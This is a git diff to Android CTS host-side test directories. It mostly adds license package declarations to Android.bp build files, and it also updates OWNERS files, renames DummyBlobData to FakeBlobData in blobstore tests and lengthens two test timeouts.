diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp
index dbcb1fe..8db00a3 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsOverlayPolicySignatureDifferent",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp
index 28f6aae..865bb71 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsOverlayPolicySystem",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp
index 983821c..284b3c4 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsOverlayPolicyVendor",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp
index e02bcd3..fbc77e1 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsOverlayTarget",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/stubime/Android.bp b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
index 0038c05..62be701 100644
--- a/hostsidetests/appsecurity/test-apps/stubime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStubIme",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/stubime/OWNERS b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
new file mode 100644
index 0000000..ea4fd8f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 34867
+include platform/frameworks/base:/services/core/java/com/android/server/inputmethod/OWNERS
diff --git a/hostsidetests/atrace/Android.bp b/hostsidetests/atrace/Android.bp
index 380e55b..77df10b 100644
--- a/hostsidetests/atrace/Android.bp
+++ b/hostsidetests/atrace/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsAtraceHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.bp b/hostsidetests/atrace/AtraceTestApp/Android.bp
index 88ef404..b482764 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.bp
+++ b/hostsidetests/atrace/AtraceTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAtraceTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/atrace/AtraceTestApp/jni/Android.bp b/hostsidetests/atrace/AtraceTestApp/jni/Android.bp
index 70b47a7..5343a93 100644
--- a/hostsidetests/atrace/AtraceTestApp/jni/Android.bp
+++ b/hostsidetests/atrace/AtraceTestApp/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctstrace_jni",
     gtest: false,
diff --git a/hostsidetests/backup/AllowBackup/Android.bp b/hostsidetests/backup/AllowBackup/Android.bp
index 39ce56f..7b13227a 100644
--- a/hostsidetests/backup/AllowBackup/Android.bp
+++ b/hostsidetests/backup/AllowBackup/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsAllowBackupLib",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
index 9d6254c..d6f3479 100644
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "BackupAllowedApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
index 100718d..68adaef 100644
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "BackupNotAllowedApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/Android.bp b/hostsidetests/backup/Android.bp
index 594ebf9..15d9880 100644
--- a/hostsidetests/backup/Android.bp
+++ b/hostsidetests/backup/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsBackupHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/backup/AutoRestoreApp/Android.bp b/hostsidetests/backup/AutoRestoreApp/Android.bp
index 0d769d5..58b58dd 100644
--- a/hostsidetests/backup/AutoRestoreApp/Android.bp
+++ b/hostsidetests/backup/AutoRestoreApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAutoRestoreApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/BackupTransportApp/Android.bp b/hostsidetests/backup/BackupTransportApp/Android.bp
index 1a80869..7b07cbe 100644
--- a/hostsidetests/backup/BackupTransportApp/Android.bp
+++ b/hostsidetests/backup/BackupTransportApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBackupTransportApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/Android.bp b/hostsidetests/backup/FullBackupOnly/Android.bp
index acac2e1..60c1cf61 100644
--- a/hostsidetests/backup/FullBackupOnly/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsFullBackupOnlyLib",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp
index e6835f3..a6b26b9 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "FullBackupOnlyFalseNoAgentApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp
index ba34842..d3b5c02 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "FullBackupOnlyFalseWithAgentApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp
index f959d73..ef1941f 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "FullBackupOnlyTrueWithAgentApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/KeyValueApp/Android.bp b/hostsidetests/backup/KeyValueApp/Android.bp
index 7b7cea2..60dbb65 100644
--- a/hostsidetests/backup/KeyValueApp/Android.bp
+++ b/hostsidetests/backup/KeyValueApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeyValueBackupRestoreApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/OWNERS b/hostsidetests/backup/OWNERS
index e0e5e22..0f88811 100644
--- a/hostsidetests/backup/OWNERS
+++ b/hostsidetests/backup/OWNERS
@@ -1,9 +1,4 @@
-# Bug component: 41666
-# Use this reviewer by default.
-br-framework-team+reviews@google.com
+# Bug component: 656484
 
-alsutton@google.com
-anniemeng@google.com
-brufino@google.com
-nathch@google.com
-rthakohov@google.com
+include platform/frameworks/base:/services/backup/OWNERS
+
diff --git a/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp b/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp
index 12b9a4a..b048dd4 100644
--- a/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp
+++ b/hostsidetests/backup/OtherSoundsSettingsApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBackupOtherSoundsSettingsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/PreservedSettingsApp/Android.bp b/hostsidetests/backup/PreservedSettingsApp/Android.bp
index 404abc4..71859a9 100644
--- a/hostsidetests/backup/PreservedSettingsApp/Android.bp
+++ b/hostsidetests/backup/PreservedSettingsApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPreservedSettingsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/ProfileFullBackupApp/Android.bp b/hostsidetests/backup/ProfileFullBackupApp/Android.bp
index 1cb5a3d..1c614e2 100644
--- a/hostsidetests/backup/ProfileFullBackupApp/Android.bp
+++ b/hostsidetests/backup/ProfileFullBackupApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsProfileFullBackupApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/ProfileKeyValueApp/Android.bp b/hostsidetests/backup/ProfileKeyValueApp/Android.bp
index 154ba22..37b676f 100644
--- a/hostsidetests/backup/ProfileKeyValueApp/Android.bp
+++ b/hostsidetests/backup/ProfileKeyValueApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsProfileKeyValueApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/ProfileSerialNumberApp/Android.bp b/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
index fc322da..7254eac 100644
--- a/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
+++ b/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsProfileSerialNumberApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/Android.bp b/hostsidetests/backup/RestoreAnyVersion/Android.bp
index 7ce7333..e4b71ef 100644
--- a/hostsidetests/backup/RestoreAnyVersion/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsRestoreAnyVersionLib",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp
index f3c36d0..19d52e5 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBackupRestoreAnyVersionAppUpdate",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp
index 8d88636..dc16faf1 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBackupRestoreAnyVersionNoRestoreApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp
index 17582e0..a21b675 100644
--- a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBackupRestoreAnyVersionApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/RestoreSessionTest/Android.bp b/hostsidetests/backup/RestoreSessionTest/Android.bp
index fb474be..206db8a 100644
--- a/hostsidetests/backup/RestoreSessionTest/Android.bp
+++ b/hostsidetests/backup/RestoreSessionTest/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsRestoreSessionApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
index 0034db5..643d656 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSharedPreferencesRestoreApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/SuccessNotificationApp/Android.bp b/hostsidetests/backup/SuccessNotificationApp/Android.bp
index d1f75f0..5ed1a7c 100644
--- a/hostsidetests/backup/SuccessNotificationApp/Android.bp
+++ b/hostsidetests/backup/SuccessNotificationApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBackupSuccessNotificationApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp b/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp
index 6a3139f..b3d213d 100644
--- a/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp
+++ b/hostsidetests/backup/SyncAdapterSettingsApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBackupSyncAdapterSettingsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/fullbackupapp/Android.bp b/hostsidetests/backup/fullbackupapp/Android.bp
index edc288c..a7d81d6 100644
--- a/hostsidetests/backup/fullbackupapp/Android.bp
+++ b/hostsidetests/backup/fullbackupapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostsideTestsFullBackupApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/includeexcludeapp/Android.bp b/hostsidetests/backup/includeexcludeapp/Android.bp
index 0b37374..1a8c1ac 100644
--- a/hostsidetests/backup/includeexcludeapp/Android.bp
+++ b/hostsidetests/backup/includeexcludeapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsIncludeExcludeApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/restoresessionapp1/Android.bp b/hostsidetests/backup/restoresessionapp1/Android.bp
index 3f27294..e2071f3 100644
--- a/hostsidetests/backup/restoresessionapp1/Android.bp
+++ b/hostsidetests/backup/restoresessionapp1/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsRestoreSessionApp1",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/restoresessionapp2/Android.bp b/hostsidetests/backup/restoresessionapp2/Android.bp
index cb3e987..eb82929 100644
--- a/hostsidetests/backup/restoresessionapp2/Android.bp
+++ b/hostsidetests/backup/restoresessionapp2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsRestoreSessionApp2",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/restoresessionapp3/Android.bp b/hostsidetests/backup/restoresessionapp3/Android.bp
index 6c9494e..16a5aff 100644
--- a/hostsidetests/backup/restoresessionapp3/Android.bp
+++ b/hostsidetests/backup/restoresessionapp3/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsRestoreSessionApp3",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/blobstore/Android.bp b/hostsidetests/blobstore/Android.bp
index d699defd..cb27282 100644
--- a/hostsidetests/blobstore/Android.bp
+++ b/hostsidetests/blobstore/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsBlobStoreHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/blobstore/OWNERS b/hostsidetests/blobstore/OWNERS
index 16b25bb..3a47c48 100644
--- a/hostsidetests/blobstore/OWNERS
+++ b/hostsidetests/blobstore/OWNERS
@@ -1,2 +1,2 @@
-# Bug component: 95221
-include platform/frameworks/base:apex/blobstore/OWNERS
+# Bug component: 533114
+include platform/frameworks/base:/apex/blobstore/OWNERS
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
index 81cd918..aa9f439 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
@@ -38,7 +38,7 @@
 
     protected static final long PARTIAL_FILE_LENGTH_BYTES = 2002;
     protected static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
-    protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 10_000;
+    protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 30_000;
 
     protected Context mContext;
     protected Instrumentation mInstrumentation;
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java
index bc248eb..b01be92 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataCleanupTest.java
@@ -25,7 +25,7 @@
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
 
-import com.android.utils.blob.DummyBlobData;
+import com.android.utils.blob.FakeBlobData;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -42,7 +42,7 @@
 
     @Test
     public void testCreateSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setRandomSeed(24)
                 .setFileName("test_blob_data")
                 .build();
@@ -79,7 +79,7 @@
 
     @Test
     public void testCommitBlob() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setRandomSeed(24)
                 .setFileName("test_blob_data")
                 .setLabel("test_data_blob_label")
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java
index 5759e93..2efc523 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java
@@ -24,7 +24,7 @@
 import android.os.ParcelFileDescriptor;
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.utils.blob.DummyBlobData;
+import com.android.utils.blob.FakeBlobData;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -41,7 +41,7 @@
 
     @Test
     public void testCreateSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setRandomSeed(22)
                 .setFileName("test_blob_data")
                 .build();
@@ -63,7 +63,7 @@
     @Test
     public void testOpenSessionAndWrite() throws Exception {
         final long sessionId = readSessionIdFromDisk();
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setRandomSeed(22)
                 .setFileName("test_blob_data")
                 .build();
diff --git a/hostsidetests/bootstats/Android.bp b/hostsidetests/bootstats/Android.bp
index b894fcf..4f2c13e 100644
--- a/hostsidetests/bootstats/Android.bp
+++ b/hostsidetests/bootstats/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsBootStatsTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
index 9bcf2a1..fb6477d 100644
--- a/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
+++ b/hostsidetests/bootstats/src/android/bootstats/cts/BootStatsHostTest.java
@@ -38,7 +38,7 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class BootStatsHostTest implements IDeviceTest {
 
-    private static final long MAX_WAIT_TIME_MS = 30000;
+    private static final long MAX_WAIT_TIME_MS = 100000;
     private static final long WAIT_SLEEP_MS = 100;
 
     private static int[] ATOMS_EXPECTED = {
diff --git a/hostsidetests/car/Android.bp b/hostsidetests/car/Android.bp
index 91ef3a3..1df7b6d 100644
--- a/hostsidetests/car/Android.bp
+++ b/hostsidetests/car/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsCarHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/classloaders/splits/Android.bp b/hostsidetests/classloaders/splits/Android.bp
index f19b5da..1584e52 100644
--- a/hostsidetests/classloaders/splits/Android.bp
+++ b/hostsidetests/classloaders/splits/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsClassloaderSplitsHostTestCases",
     defaults: [ "cts_defaults" ],
diff --git a/hostsidetests/classloaders/splits/apps/Android.bp b/hostsidetests/classloaders/splits/apps/Android.bp
index c0975ac..7e1f9ce 100644
--- a/hostsidetests/classloaders/splits/apps/Android.bp
+++ b/hostsidetests/classloaders/splits/apps/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsClassloaderSplitApp",
     defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/classloaders/splits/apps/feature_a/Android.bp b/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
index 7dd21cf..8f96bda 100644
--- a/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
+++ b/hostsidetests/classloaders/splits/apps/feature_a/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsClassloaderSplitAppFeatureA",
     defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/classloaders/splits/apps/feature_b/Android.bp b/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
index 84c1f53..aed8b69 100644
--- a/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
+++ b/hostsidetests/classloaders/splits/apps/feature_b/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsClassloaderSplitAppFeatureB",
     defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/classloaders/useslibrary/Android.bp b/hostsidetests/classloaders/useslibrary/Android.bp
index 10c1986..c9edd49 100644
